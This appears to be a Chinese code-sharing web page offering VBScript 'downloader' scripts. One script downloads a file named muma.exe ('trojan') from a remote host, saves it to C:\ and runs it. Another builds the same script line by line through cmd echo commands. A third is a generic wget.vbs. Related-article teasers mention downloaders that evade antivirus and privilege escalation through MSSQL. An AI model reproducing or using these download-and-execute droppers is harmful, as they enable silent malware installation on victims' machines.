VBS下载者(通过vbscript实现文件下载)

2013-11-17  来源:本站原创  分类:vbs  人气:4 

这篇文章主要介绍了通过vbscript实现文件下载功能的实现代码,主要是使用了ADODB.Stream,需要的朋友可以参考下

一、VBS下载者:

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://www.jbzj.com/muma.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\zl.exe",2
wscript.sleep 1000
Shell.Run ("c:\zl.exe") '延迟过后执行下载文件

二、cmd下执行的版本:

复制代码 代码如下:

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs
echo Post.Open "GET","http://www.jbzj.com/muma.exe",0 >>zl.vbs
echo Post.Send() >>zl.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs
echo aGet.Mode = 3 >>zl.vbs
echo aGet.Type = 1 >>zl.vbs
echo aGet.Open() >>zl.vbs
echo aGet.Write(Post.responseBody) >>zl.vbs
echo aGet.SaveToFile "c:\zl.exe",2 >>zl.vbs
echo wscript.sleep 1000 >>zl.vbs
echo Shell.Run ("c:\zl.exe") >>zl.vbs

三、wget.vbs

复制代码 代码如下:

on error resume next
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
iUser=LCase(Wscript.Arguments(2))
iPass=LCase(Wscript.Arguments(3))
set xPost=CreateObject("Microsoft.XMLHTTP")
if iUser="" and iPass="" then
xPost.Open "GET",iRemote,0
else
xPost.Open "GET",iRemote,0,iUser,iPass
end if
xPost.Send()
set sGet=CreateObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2

使用方法:cscript wget.vbs http://www.jbzj.com/muma.exe

相关文章
  • VBS下载者(通过vbscript实现文件下载) 2013-11-17

    这篇文章主要介绍了通过vbscript实现文件下载功能的实现代码,主要是使用了ADODB.Stream,需要的朋友可以参考下 一.VBS下载者: Set Post = CreateObject("Msxml2.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://www.jbzj.com/muma.exe",0 Post.Send

  • 最新版利用CDO.Message做的vbs下载者 2014-01-07

    vbs下载者有很多了,我这里是一个伟大的发明,利用CDO.Message做的vbs下载者.伟大是装B的意思. vbs下载者有很多了,我这里是一个伟大的发明,利用CDO.Message做的vbs下载者.伟大是装B的意思. NP先把代码写完了,详情看这里:http://hi.baidu.com/vbs_zone/blog/item/f254871382e6d0045aaf5358.html LCX大哥在写他的BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来

  • 使用vbs下载文件的代码加强版 2014-05-18

    可以躲过杀毒软件的vbs下载网络文件并保存为本地的加强版代码 说到使用vbs下载文件是不是想到了XMLHTTP呢,呵呵,以下是比较经典的代码: iLocal=LCase(Wscript.Arguments(1)) iRemote=LCase(Wscript.Arguments(0)) Set xPost=createObject("Microsoft.XMLHTTP") xPost.Open "GET",iRemote,0 xPost.Send() set sGet

  • VBS下载文件的新方法 2014-09-27

    用vbs实现文件下载的代码,CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用. BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用. 于是研究了一会.写出个粗糙的DEMO. exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制 ================================================ 'code by xiaolu 'change by

  • VBS 下载方法(CDO.MESSAGE) 2015-03-25

    LCX在写他的BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用. 于是研究了一会.写出个粗糙的DEMO. exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制 ================================================ 'code by xiaolu 'change by NetPatch on error resume next set arg=wscript.a

  • 支持断点下载的VBS代码 2014-04-15

    VBS真是妙用无穷.会的程序语言不用太多,也不用太复杂,精通一门就好 之前我就介绍过VBScript语言的强大.今天再给出一个支持断点下载的VBS代码. 并附上VBS代码的解析,不懂的朋友可以配合微软的SCRIPT56.CHM文档自学.很简单, VBS的好处就是代码易于理解.基本上每行代码执行功能都用英文表示出来了. 这个代码也是对我以前介绍的VBS下载功能的补充. 老规矩,复制保存为dl.vbe. 不过这个VBS的代码的不同之处不是双击运行,而是在CMD命令行下执行. 下载功能执行的格式是:

  • 按键精灵 脚本-学习VBS的一个不错的教程 2014-05-01

    现在看到很多朋友都不明白VBS,但我也没有时间全部写完,所以一天写一些,边写边和大家交流,也希望有朋友能接着写或指出我的错误. 今天我就从总体上对VBS进行介绍,希望能给大家一个直观的印象.另外,讲解与按键官网的按键精灵教程(李悦制作)相结合,帮大家看懂这个东东. 一.概述 要让计算机做事情就必须由人给它指令.原来的指令很复杂,都是些0011001之类的东西,后来逐渐简化,指令也更接近于人类的语言.VBS(Microsoft(R) Visual Basic(R) Scripting)也是高级语言

  • vbscript ms owc 封?代码 2014-11-05

    Office Web Components是一组的COM控件,设计的目的是为众多的控件容器提供交互的电子表格建模,数据报表和数据可视化功能. ''owc.vbs class owc private o '传入物件 public property set set_obj(o_id) set o=o_id end property '画图矩形图 'chart_bgcolor_图表的背景颜色 'chartCaption_图表的标题 'chartCaption_fontColor_图表标题颜色 'Int

  • 使用 Iisftp.vbs 创建FTP站点的方法 2013-11-18

    Iisftp.vbs 使用的默认属性与 IIS 管理器在建立新的 FTP 站点时使用的属性相同,并且它遵循相同的继承属性规则.要配置 FTP 站点的更多高级属性,请使用 IIS 管理器 应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1 可以使用命令行脚本 iisftp.vbs(存储在 systemroot\System32 中)在运行带有 IIS 6.0 的 Windows Server

  • 收藏的比较精典VBS代码 2013-12-09

    比较精典VBS代码,想学习vbscript的朋友可以参考下 文件操作 Set fso = Wscript.CreateObject("Scripting.FileSystemObject") '创建文件系统对象,用以处理驱动器.文件夹和文件 Set WshShell = Wscript.CreateObject("Wscript.Shell") '创建系统Shell对象,用以运行程序等等 if fso.fileexists("D:\刀剑Online\alr

  • php使浏览器直接下载pdf文件的方法 2013-12-10

    本文介绍如何让用户打开pdf文件时不是直接在浏览器浏览而是直接以下载文件形式把pdf文件下载到电脑 有的浏览器安装了pdf打开程序关联到浏览器,所以直接写上pdf路径时是打开pdf而不是下载,下面我就说下如果让他们只是下载,而不是浏览. 创建一个php文件 <?php $file = $_GET['file']; $arr = explode('/',$file); header('Content-type: application/pdf'); header('Content-Disposit

  • MSSQL差异备份取系统权限的相关软件下载 2014-03-13

    昨天在网上找资料的时间无意进了一个站,糊里糊涂就进去了,想提权提不起来,后来加上服务商的Q号想社工一下,射了半天得知服务器的安全是绿盟的人给做的 安全,后来就问猪猪有什么提权的方法没,他刚好做了这个动画就给发来过来,在网上查了一下找到了文章,一起拷贝过来.最近忙着学习很少关注这方面的东西, 落后了,落后了...... 下面是是在网上找到的资料和动画. TEAM里的内部资料放久了,现在不放出来,迟早会有人发掘出来的!既然如此就拿出来大家分享吧! MSSQL差异备份获取webshell 几乎人人皆知

  • XMLDOM下载者生成器代码(xmldown.hta) 2014-03-30

    XMLDOM下载者生成器代码(xmldown.hta),需要的朋友可以参考下. 以下代码保存成hta文件,可生成js和vbs下载者 <HTA:APPLICATION ID="xmldown" Caption="yes" SCROLL="auto" border="none" borderStyle="static" SINGLEINSTANCE="yes" maximizebutt

  • 做一个困难重重的hta下载者 2014-04-02

    我们用hta来写,这个就比较少见了.hh.exe访问网络一般估计会放行的.写这个下载者要解决的困难有几下几点 一.先说本blog上有两个比较新颖的vbs下载者,一个是利用CDO.Message组件做的,另一个是用Microsoft.XMLDOM做的,参见http://www.jb51.net/article/15506.htm.这两个下载者一个是利用起来比较麻烦,需要事先把exe进行转化.第二使用中cscript.exe会访问网络,不太隐蔽.第二个是有的机器上并不存在这两个组件及利用到ADODB

  • VBS字符串的内部实现 2014-05-10

    最近对 VBS 字符串 Chr(0) 注①截断讨论得比较多,看来有必要介绍一下 VBS 字符串的内部实现. 最近对 VBS 字符串 Chr(0) 注①截断讨论得比较多,看来有必要介绍一下 VBS 字符串的内部实现.Demon 友情提示:本文需要一些 C 语言和 Windows 编程的知识,VBScript 初学者慎入. VBS 是基于微软的 ActiveX/COM 技术实现的,而 COM 对象为了做到支持任何语言,定义了一系列通用的数据类型,微软称之为自动化对象类型(Automation dat

  • php实现文件下载代码分享 2014-06-19

    php实现文件下载我们需要用到header函数来发送相关信息给客户端浏览器,同时再结合filesize函数来读取文件大小并进行下载操作,下面我们一起来看看相关例子. 简单的文件下载只需要使用HTML的连接标记<a>,并将属性href的URL值指定为下载的文件即可.所示: <a href="http://www.jb51.net/download/book.rar">下载文件</a> 如果通过上面的代码实现文件下载,只能处理一些浏览器不能默认识别的MI

  • 用js实现下载远程文件并保存在本地的脚本 2014-07-21

    //将常用的vbs下载者改成js版了.本来想用jsc.exe编译,可是不成功.jsc.exe不认WScript //use: cscript this.js http://www.xxx.com/xxx.exe c:\xxx.exe var objArgs = WScript.Arguments; var sGet=new ActiveXObject("ADODB.Stream"); var xGet = false; try { xGet = new XMLHttpRequest()

  • PHP 强制下载文件代码 2014-08-04

    PHP 强制下载文件代码,任意文件下载代码,可以让任何文件都是提示下载的实现代码. <?php $filename = '1.png'; header("Content-Type: application/force-download"); header('Content-Disposition: attachment; filename="'.$filename.'"'); echo $filename; ?>

  • 韩国潘多拉TV对网站视频下载收费 2014-09-20

    记者邰举 本报首尔2月14日电 韩国一家视频共享网站潘多拉TV宣布,开始对该网站视频内容的下载服务进行收费,这标志着被称为web2.0时代新盈利模式的开始. 据悉,这是全球首家面向普通用户提供付费下载服务的内容共享网站.YouTube于本月11日开始的付费下载服务仅面向部分合作企业. 在韩国市场,该网站用户可点击播放器下方的下载按钮,将视频文件下载到自己的计算机本地保存.每次下载收费为普通画质视频100韩元,高清画质视频200韩元.费率与视频文件大小和播放时间无关,通过网络观看视频内容无需付费.

  • Windows Script Host之用vbs实现[浏览文件夹]功能 2014-09-21

    '************************************************ ' File:Dialog.vbs (WSH sample in VBScript) ' Author:(c) G. Born ' ' Using the shell dialog box to select a folder '************************************************ Option Explicit ' Flags for the opti